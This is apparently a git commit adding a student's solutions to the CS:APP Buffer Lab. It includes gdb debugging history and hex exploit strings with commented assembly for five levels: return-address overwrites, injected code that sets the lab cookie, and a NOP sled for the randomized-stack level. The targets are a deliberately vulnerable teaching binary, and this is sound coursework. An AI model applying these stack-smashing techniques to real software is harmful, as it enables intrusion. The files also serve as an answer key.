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Buffer Lab

This commit is contained in:
cyp0633 2022-05-02 17:00:23 +08:00
parent 30300e60c6
commit 24dd2cb17b
Signed by: cyp0633
GPG Key ID: E1BC508A994A5138
21 changed files with 2168 additions and 0 deletions
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147
LAB4-buflab/.gdb_history Normal file
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set args -u cyp0633 < candle-raw.txt
r
q
set args -u cyp0633 < sparkler-raw.txt
r
q
set args -u cyp0633 < sparkler-raw.txt
q
set args -u cyp0633 < sparkler-raw.txt
r
set args -u cyp0633 < sparkler-raw.txt
b fizz
r
x/s 0x804d104
x/s 0x804d10c
q
set args -u cyp0633 < sparkler-raw.txt
b *0x804926e
r
q
q
set args -u cyp0633 < firecracker-raw.txt
r
set args -u cyp0633 < firecracker-raw.txt
r
q
set args -u cyp0633 < firecracker-raw.txt
b *0x8048e3f
r
stepi
stepi
stepi
stepi
stepi
stepi
stepi
nexti
x/w 0x8048e3f
x/w 0x55683d1c
nexti
stepi
nexti
q
set args -u cyp0633 < dynamite-raw.txt
r
b *0x8048e50
r
b getbuf
r
x/w $ebp
x/wx $ebp
q
set args -u cyp0633 < dynamite-raw.txt
r
r
q
set args -u cyp0633 -n < dynamite-raw.txt
b getbufn
delete breakpoints 1
b *8049253
r
stepi
stepi
nexti
q
set args -u cyp0633 -n < nitroglycerin-raw.txt
r
set args -u cyp0633 -n < nitroglycerin-raw.txt
b *0x804925b
r
nexti
x/100i $pc
x/300i $pc
x/200i $pc
b *0x55683ce3
c
nexti
stepi
nexti
x/i 0x55683ced
q
set args -u cyp0633 -n < nitroglycerin-raw.txt
b *0x804925b
r
nexti
nexti
nexti
p $pc
r
nexti
r
x/w $ebp+4
nexti
x/w $ebp+8
x/w $ebp+4
nexti
q
q
set args -n < nitroglycerin-raw.txt
b *0x804925b
r
set args -u cyp0633 -n < nitroglycerin-raw.txt
r
x/200i $pc
nexti
x/200i $pc
x/250i $pc
x/300i $pc
x/400i $pc
b *0x55683ce1
r
delete breakpoints 2
nexti
nexti
x/200i $pc
x/300i $pc
x/400i $pc
b *0x55683ce0
c
nexti
set disassembly-flavor att
x/i $pc
x/w $pc
x/b $pc
nexti
q
set disassembly-flavor att
set args -u cyp0633 -n < nitroglycerin-raw.txt
b *0x804925b
r
stepi
x/200i $pc
x/300i $pc
x/350i $pc
x/400i $pc
b *0x55683ce3
c
nexti
c
c
c
c
c
c
c
cavif /home/cyp0633/图片/截图/nitroglycerin.png
q

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LAB4-buflab/a.s Normal file
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addb %dl, 0x3d3cb890(%eax)
xorl %ebx, (%ebx)

BIN
LAB4-buflab/bufbomb Executable file
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LAB4-buflab/bufbomb.as Normal file
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LAB4-buflab/buflab-handout.tar.gz
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LAB4-buflab/candle-raw.txt Normal file
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LAB4-buflab/candle.txt Normal file
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00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08 0a

BIN
LAB4-buflab/dynamite-raw.txt Normal file
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3
LAB4-buflab/dynamite.s Normal file
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movl $0x1b313d3c, %eax # set cookie as return value
push $0x08048e50 # original test return address
ret # return to test

9
LAB4-buflab/dynamite.txt Normal file
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b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 /* 11*3-4=29 random bytes */
20 3d 68 55 /* old ebp 0x55683d20 */
c8 3c 68 55 /* return address 0x55683cc8 */

BIN
LAB4-buflab/firecracker-raw.txt Normal file
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3
LAB4-buflab/firecracker.s Normal file
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movl $0x1b313d3c, 0x804d10c # write cookie into global_value
pushl $0x8048d52 # push bang into stack
ret # enter bang

10
LAB4-buflab/firecracker.txt Normal file
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c7 05 0c d1 04 08 3c /* movl $0x1b313d3c,0x804d10c */
3d 31 1b
68 52 8d 04 08 /* push $0x8048d52 */
c3 /* ret */
/* end of assembly, 16 bytes in total */
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00 /* 7*4=28 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */

BIN
LAB4-buflab/hex2raw Executable file
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BIN
LAB4-buflab/makecookie Executable file
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BIN
LAB4-buflab/mybuflab_solved.tar
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5
LAB4-buflab/nitroglycerin-raw.txt Normal file
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4
LAB4-buflab/nitroglycerin.s Normal file
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@ -0,0 +1,4 @@
movl $0x1b313d3c, %eax # set cookie as return value
leal 0x28(%esp), %ebp # restore ebp register
push $0x8048ce2 # original testn return address
ret

12
LAB4-buflab/nitroglycerin.txt Normal file
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@ -0,0 +1,12 @@
/* nop area, 509 bytes in total */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
/* core assembly area, 15 bytes in total */
8d 6c 24 28 /* lea 0x28(%esp),%ebp */
b8 3c 3d 31 1b /* mov $0x1b313d3c,%eax */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3 /* ret */
/* return address 0x55683b5c, 4 bytes in total */
5c 3b 68 55

BIN
LAB4-buflab/sparkler-raw.txt Normal file
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Binary file not shown.

10
LAB4-buflab/sparkler.txt Normal file
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@ -0,0 +1,10 @@
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
/* fizz address: 0x08048daf */
00 00 00 00
3c 3d 31 1b
/* cookie: 0x1b313d3c */